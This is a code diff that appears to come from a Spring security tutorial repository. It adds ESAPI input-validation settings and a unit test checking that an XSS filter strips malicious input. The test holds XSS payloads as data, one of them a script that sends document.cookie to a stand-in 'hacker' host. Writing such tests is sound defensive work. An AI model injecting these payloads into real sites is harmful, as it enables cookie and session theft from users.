+Validator.HTTPParameterName=^[a-zA-Z0-9_\\-]{1,32}$
+Validator.HTTPParameterValue=^[\\p{L}\\p{N}.\\-/+=_ !$*?@]{0,1000}$
+Validator.HTTPContextPath=^/[a-zA-Z0-9.\\-_]*$
+Validator.HTTPQueryString=^([a-zA-Z0-9_\\-]{1,32}=[\\p{L}\\p{N}.\\-/+=_ !$*?@%]*&?)*$
+Validator.HTTPURI=^/([a-zA-Z0-9.\\-_]*/?)*$
+
+
+# Validation of file related input
+Validator.FileName=^[a-zA-Z0-9!@#$%^&{}\\[\\]()_+\\-=,.~'` ]{1,255}$
+Validator.DirectoryName=^[a-zA-Z0-9:/\\\\!@#$%^&{}\\[\\]()_+\\-=,.~'` ]{1,255}$
+
+# Validation of dates. Controls whether or not 'lenient' dates are accepted.
+# See DataFormat.setLenient(boolean flag) for further details.
+Validator.AcceptLenientDates=false
+
+#                       ~~~~~ Important Note ~~~~~
+# This is a workaround to make sure that a commit to address GitHub issue #509
+# doesn't accidentally break someone's production code. So essentially what we
+# are doing is to reverting back to the previous possibly buggy (by
+# documentation intent at least), but, by now, expected legacy behavior.
+# Prior to the code changes for issue #509, if invalid / malicious HTML input was
+# observed, AntiSamy would simply attempt to sanitize (cleanse) it and it would
+# only be logged. However, the code change made ESAPI comply with its
+# documentation, which stated that a ValidationException should be thrown in
+# such cases. Unfortunately, changing this behavior--especially when no one is
+# 100% certain that the documentation was correct--could break existing code
+# using ESAPI so after a lot of debate, issue #521 was created to restore the
+# previous behavior, but still allow the documented behavior. (We did this
+# because it wasn't really causing an security issues since AntiSamy would clean
+# it up anyway and we value backward compatibility as long as it doesn't clearly
+# present security vulnerabilities.)
+# More defaults about this are written up under GitHub issue #521 and
+# the pull request it references. Future major releases of ESAPI (e.g., ESAPI 3.x)
+# will not support this previous behavior, but it will remain for ESAPI 2.x.
+# Set this to 'throw' if you want the originally intended behavior of throwing
+# that was fixed via issue #509. Set to 'clean' if you want want the HTML input
+# sanitized instead.
+#
+# Possible values:
+#   clean -- Use the legacy behavior where unsafe HTML input is logged and the
+#            sanitized (i.e., clean) input as determined by AntiSamy and your
+#            AntiSamy rules is returned. This is the default behavior if this
+#            new property is not found.
+#   throw -- The new, presumably correct and originally intended behavior where
+#            a ValidationException is thrown when unsafe HTML input is
+#            encountered.
+#
+#Validator.HtmlValidationAction=clean
+Validator.HtmlValidationAction=throw
+
+# With the fix for #310 to enable loading antisamy-esapi.xml from the classpath
+# also an enhancement was made to be able to use a different filename for the configuration.
+# You don't have to configure the filename here, but in that case the code will keep looking for antisamy-esapi.xml.
+# This is the default behaviour of ESAPI.
+#
+#Validator.HtmlValidationConfigurationFile=antisamy-esapi.xml

spring-security-modules/spring-5-security/src/test/java/com/baeldung/xss/PersonControllerUnitTest.java

@@ -0,0 +1,64 @@
+package com.baeldung.xss;
+
+import com.fasterxml.jackson.databind.JsonNode;
+import com.fasterxml.jackson.databind.ObjectMapper;
+import com.fasterxml.jackson.databind.node.JsonNodeFactory;
+import com.fasterxml.jackson.databind.node.ObjectNode;
+import org.junit.jupiter.api.Test;
+import org.springframework.boot.test.context.SpringBootTest;
+import org.springframework.boot.web.server.LocalServerPort;
+import org.springframework.http.*;
+import org.springframework.web.client.RestTemplate;
+import org.springframework.web.util.UriComponentsBuilder;
+import java.io.IOException;
+import static org.assertj.core.api.Assertions.assertThat;
+
+@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
+class PersonControllerUnitTest {
+
+    @LocalServerPort
+    int randomServerPort;
+
+    @Test
+    public void givenRequestIsSuspicious_whenRequestIsPost_thenResponseIsClean()
+        throws IOException {
+        // given
+        String createPersonUrl;
+        RestTemplate restTemplate;
+        HttpHeaders headers;
+        UriComponentsBuilder builder;
+        ObjectMapper objectMapper = new ObjectMapper();
+        ObjectNode personJsonObject = JsonNodeFactory.instance.objectNode();
+        createPersonUrl = "http://localhost:" + randomServerPort + "/personService/person";
+        restTemplate = new RestTemplate();
+        headers = new HttpHeaders();
+
+        // when
+        personJsonObject.put("id", 1);
+        personJsonObject.put("firstName", "baeldung <script>alert('XSS')</script>");
+        personJsonObject.put("lastName", "baeldung <b onmouseover=alert('XSS')>click me!</b>");
+
+        builder = UriComponentsBuilder.fromHttpUrl(createPersonUrl)
+            .queryParam("param", "<script>");
+
+        headers.setContentType(MediaType.APPLICATION_JSON);
+        headers.add("header_1", "<body onload=alert('XSS')>");
+        headers.add("header_2", "<span onmousemove='doBadXss()'>");
+        headers.add("header_3", "<SCRIPT>var+img=new+Image();img.src=\"http://hacker/\"%20+%20document.cookie;</SCRIPT>");
+        headers.add("header_4", "<p>Your search for 'flowers <script>evil_script()</script>'");
+        HttpEntity<String> request = new HttpEntity<>(personJsonObject.toString(), headers);
+
+        ResponseEntity<String> personResultAsJsonStr = restTemplate.exchange(builder.toUriString(),
+            HttpMethod.POST, request, String.class);
+        JsonNode root = objectMapper.readTree(personResultAsJsonStr.getBody());
+
+        // then
+        assertThat(root.get("firstName").textValue()).isEqualTo("baeldung ");
+        assertThat(root.get("lastName").textValue()).isEqualTo("baeldung click me!");
+        assertThat(root.get("param").textValue()).isEmpty();
+        assertThat(root.get("header_1").textValue()).isEmpty();
+        assertThat(root.get("header_2").textValue()).isEmpty();
+        assertThat(root.get("header_3").textValue()).isEmpty();
+        assertThat(root.get("header_4").textValue()).isEqualTo("Your search for 'flowers '");
+    }
+}